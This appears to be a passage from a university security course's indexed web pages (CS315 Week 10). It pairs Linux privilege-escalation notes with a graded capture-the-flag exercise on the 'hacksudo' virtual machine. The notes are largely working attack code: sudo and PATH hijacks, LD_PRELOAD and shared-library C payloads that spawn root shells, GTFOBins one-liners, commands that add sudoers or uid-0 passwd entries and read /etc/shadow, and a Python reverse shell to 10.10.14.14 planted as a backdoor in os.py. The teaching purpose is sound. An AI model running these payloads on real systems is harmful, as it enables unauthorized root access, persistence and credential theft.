sudo less /var/log/../../etc/shadow #Read shadow\nsudo less /var/log/something /etc/shadow #Red 2 files\n
Countermeasures: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
"},{"location":"CS315/2021/Week%2010/#sudo-commandsuid-binary-without-command-path","title":"Sudo command/SUID binary without command path","text":"If the sudo permission is given to a single command without specifying the path: hacker10 ALL= (root) less you can exploit it by changing the PATH variable
export PATH=/tmp:$PATH\n#Put your backdoor in /tmp and name it \"less\"\nsudo less\n
This technique can also be used if a suid binary executes another command without specifying the path to it (always check with strings the content of a weird SUID binary).
Payload examples to execute.
"},{"location":"CS315/2021/Week%2010/#suid-binary-with-command-path","title":"SUID binary with command path","text":"If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.
For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }\nexport -f /usr/sbin/service\n
Then, when you call the suid binary, this function will be executed
"},{"location":"CS315/2021/Week%2010/#ld_preload","title":"LD_PRELOAD","text":"LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.
If you find inside the output of sudo -l
the sentence: env_keep+=LD_PRELOAD and you can call some command with sudo, you can escalate privileges.
Defaults env_keep += LD_PRELOAD\n
Save as /tmp/pe.c
#include <stdio.h>\n#include <sys/types.h>\n#include <stdlib.h>\n\nvoid _init() {\n unsetenv(\"LD_PRELOAD\");\n setgid(0);\n setuid(0);\n system(\"/bin/bash\");\n}\n
Then compile it using:
cd /tmp\ngcc -fPIC -shared -o pe.so pe.c -nostartfiles\n
Finally, escalate privileges running
sudo LD_PRELOAD=pe.so <COMMAND> #Use any command you can run with sudo\n
"},{"location":"CS315/2021/Week%2010/#suid-binary-so-injection","title":"SUID Binary \u2013 so injection","text":"If you find some weird binary with SUID permissions, you could check if all the .so files are loaded correctly. In order to do so you can execute:
strace <SUID-BINARY> 2>&1 | grep -i -E \"open|access|no such file\"\n
For example, if you find something like: pen(\u201c/home/user/.config/libcalc.so\u201d, O_RDONLY) = -1 ENOENT (No such file or directory) you can exploit it.
Create the file /home/user/.config/libcalc.c with the code:
#include <stdio.h>\n#include <stdlib.h>\n\nstatic void inject() __attribute__((constructor));\n\nvoid inject(){\n system(\"cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p\");\n}\n
Compile it using:
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c\n
And execute the binary.
"},{"location":"CS315/2021/Week%2010/#gtfobins","title":"GTFOBins","text":"GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
gdb -nx -ex '!sh' -ex quit sudo mysql -e '! /bin/sh' strace -o /dev/null /bin/sh sudo awk 'BEGIN {system(\"/bin/sh\")}'
https://gtfobins.github.io/
"},{"location":"CS315/2021/Week%2010/#fallofsudo","title":"FallOfSudo","text":"If you can access sudo -l
you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.
In the scenario where you have a shell as a user with sudo privileges but you don't know the password of the user, you can wait him to execute some command using sudo
. Then, you can access the token of the session where sudo was used and use it to execute anything as sudo (privilege escalation).
Requirements to escalate privileges:
sudo
to execute something in the last 15mins (by default that's the duration of the sudo token that allows to use sudo
without introducing any password)cat /proc/sys/kernel/yama/ptrace_scope
is 0gdb
is accessible (you can be able to upload it)(You can temporarily enable ptrace_scope
with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
or permanently modifying /etc/sysctl.d/10-ptrace.conf
and setting kernel.yama.ptrace_scope = 0
)
If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject
exploit.sh
) will create the binary activate_sudo_token
in /tmp. You can use it to activate the sudo token in your session (you won't get automatically a root shell, do sudo su
):bash exploit.sh\n/tmp/activate_sudo_token\nsudo su\n
exploit_v2.sh
) will create a sh shell in /tmp owned by root with setuidbash exploit_v2.sh\n/tmp/sh -p\n
exploit_v3.sh
) will create a sudoers file that makes sudo tokens eternal and allows all users to use sudobash exploit_v3.sh\nsudo su\n
"},{"location":"CS315/2021/Week%2010/#varrunsudots","title":"/var/run/sudo/ts/ If you have write permissions in the folder or on any of the created files inside the folder you can use the binary write_sudo_token to create a sudo token for a user and PID. For example if you can overwrite the file /var/run/sudo/ts/sampleuser and you have a shell as that user with PID 1234, you can obtain sudo privileges without needing to know the password doing:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser\n
","text":""},{"location":"CS315/2021/Week%2010/#etcsudoers-etcsudoersd","title":"/etc/sudoers, /etc/sudoers.d The file /etc/sudoers
and the files inside /etc/sudoers.d
configure who can use sudo
and how. This files by default can only be read by user root and group root. If you can read this file you could be able to obtain some interesting information, and if you can write any file you will be able to escalate privileges.
ls -l /etc/sudoers /etc/sudoers.d/\nls -ld /etc/sudoers.d/\n
If you can write you can abuse this permissions
echo \"$(whoami) ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\necho \"$(whoami) ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers.d/README\n
Other way to abuse these permissions:
# makes it so every terminal can sudo \necho \"Defaults !tty_tickets\" > /etc/sudoers.d/win\n# makes it so sudo never times out\necho \"Defaults timestamp_timeout=-1\" >> /etc/sudoers.d/win\n
","text":""},{"location":"CS315/2021/Week%2010/#doas","title":"DOAS There are some alternatives to the sudo
binary such as doas
for OpenBSD, remember to check its configuration at /etc/doas.conf
permit nopass demo as root cmd vim\n
","text":""},{"location":"CS315/2021/Week%2010/#sudo-hijacking","title":"Sudo Hijacking If you know that a user usually connects to a machine and uses sudo
to escalate privileges and you got a shell within that user context, you can create a new sudo executable that will execute your code as root and then the users command. Then, modify the $PATH of the user context (for example adding the new path in .bash_profile) so we the user executed sudo, your sudo executable is executed.
Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example sudo-piggyback modifies ~/.bashrc
, ~/.zshrc
, ~/.bash_profile
. You can find another example in bashdoor.py
The file /etc/ld.so.conf
indicates where are loaded the configurations files from. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf
That means that the configuration files from /etc/ld.so.conf.d/*.conf
will be read. This configuration files points to another folders where libraries are going to be searched for. For example, the content of /etc/ld.so.conf.d/libc.conf
is /usr/local/lib
. This means that the system will search for libraries inside /usr/local/lib
.
If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf
, /etc/ld.so.conf.d/
, any file inside /etc/ld.so.conf.d/
or any folder indicated inside any config file inside /etc/ld.so.conf.d/*.conf
he may be able to escalate privileges. Take a look about how to exploit this misconfiguration in the following page:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/ld.so.conf-example
","text":""},{"location":"CS315/2021/Week%2010/#rpath","title":"RPATHlevel15@nebula:/home/flag15$ readelf -d flag15 | egrep \"NEEDED|RPATH\"\n 0x00000001 (NEEDED) Shared library: [libc.so.6]\n 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]\n\nlevel15@nebula:/home/flag15$ ldd ./flag15\n linux-gate.so.1 => (0x0068c000)\n libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)\n /lib/ld-linux.so.2 (0x005bb000)\n
By copying the lib into /var/tmp/flag15/
it will be used by the program in this place as specified in the RPATH
variable.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/\n\nlevel15@nebula:/home/flag15$ ldd ./flag15\n linux-gate.so.1 => (0x005b0000)\n libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)\n /lib/ld-linux.so.2 (0x00737000)\n
Then create an evil library in /var/tmp
with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>\n#define SHELL \"/bin/sh\"\n\nint __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))\n{\n char *file = SHELL;\n char *argv[] = {SHELL,0};\n setresuid(geteuid(),geteuid(), geteuid());\n execve(file,argv,0);\n}\n
","text":""},{"location":"CS315/2021/Week%2010/#capabilities","title":"Capabilities","text":"Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. Read the following page to learn more about capabilities and how to abuse them:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities
"},{"location":"CS315/2021/Week%2010/#directory-permissions","title":"Directory permissions","text":"In a directory the bit for execute implies that the user affected can \"cd\" into the folder. The read bit implies the user can list the files, and the write bit implies the user can delete and create new files.
"},{"location":"CS315/2021/Week%2010/#acls","title":"ACLs","text":"ACLs are a second level of discretionary permissions, that may override the standard ugo/rwx ones. When used correctly they can grant you a better granularity in setting access to a file or a directory, for example by giving or denying access to a specific user that is neither the file owner, nor in the group owner (from here). Give user \"kali\" read and write permissions over a file:
setfacl -m u:kali:rw file.txt\n
Get files with specific ACLs from the system:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null\n
"},{"location":"CS315/2021/Week%2010/#open-shell-sessions","title":"Open shell sessions","text":"In old versions you may hijack some shell session of a different user (root). In newest versions you will be able to connect to screen sessions only of your own user. However, you could find interesting information inside of the session.
"},{"location":"CS315/2021/Week%2010/#screen-sessions-hijacking","title":"screen sessions hijackingList screen sessions
screen -ls\n
Attach to a session
screen -dr <session> #The -d is to detacche whoever is attached to it\nscreen -dr 3350.foo #In the example of the image\n
","text":""},{"location":"CS315/2021/Week%2010/#tmux-sessions-hijacking","title":"tmux sessions hijacking Apparently this was a problem with old tmux versions. I wasn't able to hijack a tmux (v2.1) session created by root from a non-privileged user.
List tmux sessions
tmux ls\nps aux | grep tmux #Search for tmux consoles not using default folder for sockets\ntmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess\n
Attach to a session
tmux attach -t myname #If you write something in this session it will appears in the other opened one\ntmux attach -d -t myname #First detach the sessinos from the other console and then access it yourself\ntmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket\n
Check valentine box from HTB for an example.
","text":""},{"location":"CS315/2021/Week%2010/#ssh","title":"SSH","text":""},{"location":"CS315/2021/Week%2010/#debian-openssl-predictable-prng-cve-2008-0166","title":"Debian OpenSSL Predictable PRNG - CVE-2008-0166All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug. This bug caused that when creating in those OS a new ssh key only 32,768 variations were possible. This means that all the possibilities can be calculated and having the ssh public key you can search for the corresponding private key. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh
","text":""},{"location":"CS315/2021/Week%2010/#ssh-interesting-configuration-values","title":"SSH Interesting configuration valuesno
.yes
.no
.Specifies whether root can log in using ssh, default is no
. Possible values:
yes
: root can login using password and private keywithout-password
or prohibit-password
: root can only login with private keyforced-commands-only
: Root can login only using privatekey cand if the commands options is specifiedno
: noSpecifies files that contains the public keys that can be used for user authentication. I can contains tokens like %h
, that will be replaced by the home directory. You can indicate absolute paths (starting in /
) or relative paths from the users home. For example:
AuthorizedKeysFile .ssh/authorized_keys access\n
That configuration will indicate that if you try to login with the private key of the user \"testusername\" ssh is going to compare the public key of your key with the ones located in /home/testusername/.ssh/authorized_keys
and /home/testusername/access
SSH agent forwarding allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server. So, you will be able to jump via ssh to a host and from there jump to another host using the key located in your initial host.
You need to set this option in $HOME/.ssh.config
like this:
Host example.com\n ForwardAgent yes\n
Notice that if Host
is *
every time the user jumps to a different machine that host will be able to access the keys (which is a security issue).
The file /etc/ssh_config
can override this options and allow or denied this configuration. The file /etc/sshd_config
can allow or denied ssh-agent forwarding with the keyword AllowAgentForwarding
(default is allow).
If you Forward Agent configured in an environment check here how to exploit it to escalate privileges.
"},{"location":"CS315/2021/Week%2010/#interesting-files","title":"Interesting Files","text":""},{"location":"CS315/2021/Week%2010/#profiles-files","title":"Profiles filesThe file /etc/profile
and the files under /etc/profile.d/
are scripts that are executed when a user run a new shell. Therefore, if you can write or modify any of the you can escalate privileges.
ls -l /etc/profile /etc/profile.d/\n
If any weird profile script is found you should check it for sensitive details.
","text":""},{"location":"CS315/2021/Week%2010/#passwdshadow-files","title":"Passwd/Shadow FilesDepending on the OS the /etc/passwd
and /etc/shadow
files may be using a different name or there may be a backup. Therefore it's recommended find all of hem and check if you can read them and check if there are hashes inside the files:
#Passwd equivalent files\ncat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null\n#Shadow equivalent files\ncat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null\n
In some occasions you can find password hashes inside the /etc/passwd
(or equivalent) file
grep -v '^[^:]*:[x\\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null\n
","text":""},{"location":"CS315/2021/Week%2010/#writable-etcpasswd","title":"Writable /etc/passwd","text":"First generate a password with one of the following commands.
openssl passwd -1 -salt hacker hacker\nmkpasswd -m SHA-512 hacker\npython2 -c 'import crypt; print crypt.crypt(\"hacker\", \"$6$salt\")'\n
Then add the user hacker
and add the generated password.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash\n
E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
You can now use the su
command with hacker:hacker
Alternatively you can use the following lines to add a dummy user without a password. WARNING: you might degrade the current security of the machine.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd\nsu - dummy\n
NOTE: In BSD platforms /etc/passwd
is located at /etc/pwd.db
and /etc/master.passwd
, also the /etc/shadow
is renamed to /etc/spwd.db
.
You should check if you can write in some sensitive file. For example, can you write to some service configuration file?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody\nfor g in `groups`; do find \\( -type f -or -type d \\) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user\n
For example, if the machine is running a tomcat server and you can modify the Tomcat service configuration file inside /etc/systemd/, then you can modify the lines:
ExecStart=/path/to/backdoor\nUser=root\nGroup=root\n
Your backdoor will be executed the next time that tomcat is started.
"},{"location":"CS315/2021/Week%2010/#check-folders","title":"Check FoldersThe following folders may contain backups or interesting information: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probably you won't be able to read the last one but try)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root\n
","text":""},{"location":"CS315/2021/Week%2010/#weird-locationowned-files","title":"Weird Location/Owned files #root owned files in /home folders\nfind /home -user root 2>/dev/null\n#Files owned by other users in folders owned by me\nfor d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \\; 2>/dev/null; done\n#Files owned by root, readable by me but no world readable\nfind / -type f -user root ! -perm -o=r 2>/dev/null\n#Files owned by me or world writable\nfind / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path \"/proc/*\" ! -path \"/sys/*\" ! -path \"$HOME/*\" 2>/dev/null\n#Writable files by each group I belong to\nfor g in `groups`;\n do printf \" Group $g:\\n\";\n find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path \"/proc/*\" ! -path \"/sys/*\" ! -path \"$HOME/*\" 2>/dev/null\n done\ndone\n
","text":""},{"location":"CS315/2021/Week%2010/#modified-files-in-last-mins","title":"Modified files in last mins find / -type f -mmin -5 ! -path \"/proc/*\" ! -path \"/sys/*\" ! -path \"/run/*\" ! -path \"/dev/*\" ! -path \"/var/lib/*\" 2>/dev/null\n
","text":""},{"location":"CS315/2021/Week%2010/#sqlite-db-files","title":"Sqlite DB files find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null\n
","text":""},{"location":"CS315/2021/Week%2010/#_history-sudo_as_admin_successful-profile-bashrc-httpdconf-plan-htpasswd-git-credentials-rhosts-hostsequiv-dockerfile-docker-composeyml-files","title":"*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files fils=`find / -type f \\( -name \"*_history\" -o -name \".sudo_as_admin_successful\" -o -name \".profile\" -o -name \"*bashrc\" -o -name \"httpd.conf\" -o -name \"*.plan\" -o -name \".htpasswd\" -o -name \".git-credentials\" -o -name \"*.rhosts\" -o -name \"hosts.equiv\" -o -name \"Dockerfile\" -o -name \"docker-compose.yml\" \\) 2>/dev/null`Hidden files\n
","text":""},{"location":"CS315/2021/Week%2010/#hidden-files","title":"Hidden files find / -type f -iname \".*\" -ls 2>/dev/null\n
","text":""},{"location":"CS315/2021/Week%2010/#scriptbinaries-in-path","title":"Script/Binaries in PATH for d in `echo $PATH | tr \":\" \"\\n\"`; do find $d -name \"*.sh\" 2>/dev/null; done\nfor d in `echo $PATH | tr \":\" \"\\n\"`; do find $d -type -f -executable 2>/dev/null; done\n
","text":""},{"location":"CS315/2021/Week%2010/#web-files","title":"Web files ls -alhR /var/www/ 2>/dev/null\nls -alhR /srv/www/htdocs/ 2>/dev/null\nls -alhR /usr/local/www/apache22/data/\nls -alhR /opt/lampp/htdocs/ 2>/dev/null\n
","text":""},{"location":"CS315/2021/Week%2010/#backups","title":"Backups find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \\( -name \"*backup*\" -o -name \"*\\.bak\" -o -name \"*\\.bck\" -o -name \"*\\.bk\" \\) 2>/dev/nulll\n
","text":""},{"location":"CS315/2021/Week%2010/#known-files-containing-passwords","title":"Known files containing passwords Read the code of linPEAS, it searches for several possible files that could contain passwords. Other interesting tool that you can use to do so is: LaZagne which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.
","text":""},{"location":"CS315/2021/Week%2010/#logs","title":"LogsIf you can read logs, you may be able to find interesting/confidential information inside of them. The more strange the log is, the more interesting will be (probably). Also, some \"bad\" configured (backdoored?) audit logs may allow you to record passwords inside audit logs as explained in this post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E \"su |sudo \" | sed -E \"s,su|sudo,${C}[1;31m&${C}[0m,g\"\ngrep -RE 'comm=\"su\"|comm=\"sudo\"' /var/log* 2>/dev/null\n
In order to read logs the group adm will be really helpful.
","text":""},{"location":"CS315/2021/Week%2010/#shell-files","title":"Shell files~/.bash_profile # if it exists, read once when you log in to the shell\n~/.bash_login # if it exists, read once if .bash_profile doesn't exist\n~/.profile # if it exists, read once if the two above don't exist\n/etc/profile # only read if none of the above exist\n~/.bashrc # if it exists, read every time you start a new shell\n~/.bash_logout # if it exists, read when the login shell exits\n~/.zlogin #zsh shell\n~/.zshrc #zsh shell\n
","text":""},{"location":"CS315/2021/Week%2010/#generic-creds-searchregex","title":"Generic Creds Search/Regex You should also check for files containing the word \"password\" in it's name or inside the content, also check for IPs and emails inside logs, or hashes regexps. I'm not going to list here how to do all of this but if you are interested you can check the last checks that linpeas perform.
","text":""},{"location":"CS315/2021/Week%2010/#writable-files","title":"Writable files","text":""},{"location":"CS315/2021/Week%2010/#python-library-hijacking","title":"Python library hijackingIf you know from where a python script is going to be executed and you can write inside that folder or you can modify python libraries, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).
To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.14\",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\n
","text":""},{"location":"CS315/2021/Week%2010/#logrotate-exploitation","title":"Logrotate exploitation There is a vulnerability on logrotate
that allows a user with write permissions over a log file or any of its parent directories to make logrotate
write a file in any location. If logrotate is being executed by root, then the user will be able to write any file in /etc/bash_completion.d/ that will be executed by any user that login. So, if you have write perms over a log file or any of its parent folder, you can privesc (on most linux distributions, logrotate is executed automatically once a day as user root). Also, check if apart of /var/log there are more files being rotated.
This vulnerability affects logrotate
version 3.15.1
and below
More detailed information about the vulnerability can be found in this page: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
You can exploit this vulnerability with logrotten.
This vulnerability is very similar to CVE-2016-1247 (nginx logs), so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
","text":""},{"location":"CS315/2021/Week%2010/#etcsysconfignetwork-scripts-centosredhat","title":"/etc/sysconfig/network-scripts/ (Centos/Redhat)If, for whatever reason, a user is able to write an ifcf-<whatever>
script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.
Network scripts, ifcg-eth0 for example are used for network connections. The look exactly like .INI files. However, they are ~~sourced~~ on Linux by Network Manager (dispatcher.d).
In my case, the NAME=
attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. Which means; everything after the first blank space is executed as root.
For example: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id\nONBOOT=yes\nDEVICE=eth0\n
(Note the black space between Network and /bin/id)
Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
","text":""},{"location":"CS315/2021/Week%2010/#init-initd-systemd-and-rcd","title":"init, init.d, systemd, and rc.d/etc/init.d
contains scripts used by the System V init tools (SysVinit). This is the traditional service management package for Linux, containing the init
program (the first process that is run when the kernel has finished initializing\u00b9) as well as some infrastructure to start and stop services and configure them. Specifically, files in /etc/init.d
are shell scripts that respond to start
, stop
, restart
, and (when supported) reload
commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in /etc/rc?.d/
). (From here) Other alternative to this folder is /etc/rc.d/init.d
in Redhat
/etc/init
contains configuration files used by Upstart. Upstart is a young service management package championed by Ubuntu. Files in /etc/init
are configuration files telling Upstart how and when to start
, stop
, reload
the configuration, or query the status
of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. In fact, the SysVinit scripts are processed by a compatibility layer in Upstart. (From here)
systemd is a Linux initialization system and service manager that includes features like on-demand starting of daemons, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From here) Files that ships in packages downloaded from distribution repository go into /usr/lib/systemd/
. Modifications done by system administrator (user) go into /etc/systemd/system/
.
https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe
","text":""},{"location":"CS315/2021/Week%2010/#escaping-from-restricted-shells","title":"Escaping from restricted Shellshttps://book.hacktricks.xyz/linux-unix/privilege-escalation/escaping-from-limited-bash
","text":""},{"location":"CS315/2021/Week%2010/#cisco-vmanage","title":"Cisco - vmanagehttps://book.hacktricks.xyz/linux-unix/privilege-escalation/cisco-vmanage
","text":""},{"location":"CS315/2021/Week%2010/#kernel-security-protections","title":"Kernel Security ProtectionsStatic impacket binaries
"},{"location":"CS315/2021/Week%2010/#linuxunix-privesc-tools","title":"Linux/Unix Privesc Tools","text":""},{"location":"CS315/2021/Week%2010/#best-tool-to-look-for-linux-local-privilege-escalation-vectors-linpeas","title":"Best tool to look for Linux local privilege escalation vectors: LinPEAS","text":"LinEnum: https://github.com/rebootuser/LinEnum(-t option) Enumy: https://github.com/luke-goddard/enumy Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop Mestaploit: multi/recon/local_exploit_suggester Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail Recopilation of more scripts: https://gh-dark.rauchg.now.sh/1N3/PrivEsc/tree/master/linux
"},{"location":"CS315/2021/Week%2010/#bibliography","title":"Bibliographyhttps://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://payatu.com/guide-linux-privilege-escalation/ https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744 http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html https://touhidshaikh.com/blog/?p=827 https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf https://github.com/frizb/Linux-Privilege-Escalation https://github.com/lucyoa/kernel-exploits https://github.com/rtcrowley/linux-private-i
","text":""},{"location":"CS315/2021/Week%2010/#exercise","title":"Exercise","text":""},{"location":"CS315/2021/Week%2010/#10-pt-hacksudo","title":"(10 pt) HacksudoIn this challenge, you need to download the following virtual machine to finish the challenges.
The box was created with Virtualbox
. Upon booting up use netdiscover
tool to find the IP address. This is the target address based on whatever settings you have. You should verify the address just in case.
You don't need to answer all questions in order. Skip some questions may not affect the next steps.
Download: https://mega.nz/file/ix9VnA7Y#7LM1LXBta_kAeNrajXGkQhmwfbr5fIaQHykkWEPBjZY
Mirror: https://pan.baidu.com/s/1D-YEa6cr3rcWXv49HgZtSw (Code: 1337)
","text":""},{"location":"CS315/2021/Week%2010/#setup","title":"Setup","text":"Environment setup should use VirtualBox
history version (VirtualBox 6.1.28 has a bug with Hyper-V, I used VirtualBox 6.0.24 and worked properly). You should setup Network
as the following:
The virtual image should enter the following promption:
Debian GNU/Linux 10 hacksudo fog tty1\neth0: 192.168.xx.xxx\nhacksudo login: _\n
The second line is the ip address of virtual machine.
Open your web browser, you can find this page in VM's ip address:
You are done with configuration, now you can hack the machine and solve the challenges!
If the ip address hasn't shown up, you can find it as below:
Open you terminal (powershell.exe in Windows), and use ipconfig /all
to find your Host-only NET
ip address.
Use any tool to scan the ip 192.168.xx.0/24
and you can find the virtual machine ip address. Otherwise, you can also use arp -a
to find your Host-only Network
address, and usually VM's ip address is followed.
After the port scan, you should find several services running in the box. What's the version of the mysql
service?
Answer: x.x.x-xx.x.xx-MariaDB-x+debxxxx
(replace all x to your answer)
Hint: you can use nmap for port scanning.
"},{"location":"CS315/2021/Week%2010/#1-pt-web-source-code","title":"(1 pt) Web source code","text":"Access the website on port 80
. You can find here's some hint for the subsequent steps. What's the GitHub repo address you found in the source code?
Answer: https://github.com/xxxxxxxx/xxxxxxxxxxx
(replace all x to your answer)
Hint: press F12 on the keyboard to open the Developer's Tools to view the source code (may vary for different browsers).
"},{"location":"CS315/2021/Week%2010/#1-pt-web-directory-discover","title":"(1 pt) Web directory discover","text":"Using web directory scanning, you can find a txt
file under the website. What's the name of this txt
file?
Answer: xxxx.txt
(replace all x to your answer)
Hint: gobuster and dirbuster are both good web directory/file discovery tools.
"},{"location":"CS315/2021/Week%2010/#1-pt-cms-vulnerability","title":"(1 pt) CMS vulnerability","text":"The CMS used in the website is CMS-MadeSimple
. However, this CMS can be vulnerable in some versions. What's the version of CMS?
Answer: x.x.x
(replace all x to your answer)
Hint: you can use whatweb to find out the version of services.
"},{"location":"CS315/2021/Week%2010/#1-pt-exploit-cms","title":"(1 pt) Exploit CMS","text":"Now, using the vulnerability to find the username and the hashed password of the CMS. It's hard to break the hash string, but you can use this username to break other services on the server. The txt
file you found above would help you to get the password for the ftp
service on port 21
.
What's the password (in plain text)?
Answer: xxxxxx
(replace all x to your answer)
Hint: hydra is a widely used tool for password cracking.
"},{"location":"CS315/2021/Week%2010/#1-pt-ftp-and-unzip","title":"(1 pt) FTP and unzip","text":"Using the previous username and password, you can log into the FTP server. You may notice there's a zip
file on the server. You need to break the password of the zip
file.
What's the password for the zip
file?
Answer: xxxxxx
(replace all x to your answer)
Hint: to crack the password of the zip files, you can check JohnTheRipper.
"},{"location":"CS315/2021/Week%2010/#1-pt-caesar-cipher","title":"(1 pt) Caesar Cipher","text":"After extracting the hacksudoSTEGNO.wav
, you need to find what's inside this file. Recall what you've got till now, and find the CMS password.
What's the password for CMS?
Answer: xxxxxxxxxxxx
(replace all x to your answer)
Hint: CyberChef contains many useful cryptography tools.
"},{"location":"CS315/2021/Week%2010/#1-pt-upload-rce-script","title":"(1 pt) Upload RCE script","text":"You've got the CMS! Now you can enjoy accessing all website pages and put your files on the website. Why not let us dig deeper?
Upload a PHP script to give you shell access.
What's the first line of flag2.txt
on the server?
Answer: xxx xxxxxxxxxxxx xxxxx xxx xxx xxx xxxxx xxxxxx!!!
(replace all x to your answer)
Hint: here are some upload limits on the server. Find out how to bypass them.
Hint: after uploading your RCE script, you can generate a reversed shell to get a pty shell (which would simplify your next steps).
"},{"location":"CS315/2021/Week%2010/#1-pt-local-privilege-escalation","title":"(1 pt) Local privilege escalation","text":"User isro
is your first target. Attack and switch to user isro
. View the files of isro
. What's the content of user.txt
?
